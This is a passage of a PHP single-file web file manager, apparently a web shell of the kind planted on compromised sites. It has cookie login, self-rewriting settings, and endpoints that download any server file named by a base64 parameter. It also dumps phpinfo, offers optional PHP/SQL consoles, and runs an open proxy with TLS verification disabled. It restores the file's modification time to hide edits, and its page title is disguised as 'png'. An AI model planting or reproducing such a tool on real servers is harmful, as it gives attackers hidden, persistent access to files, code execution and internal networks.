	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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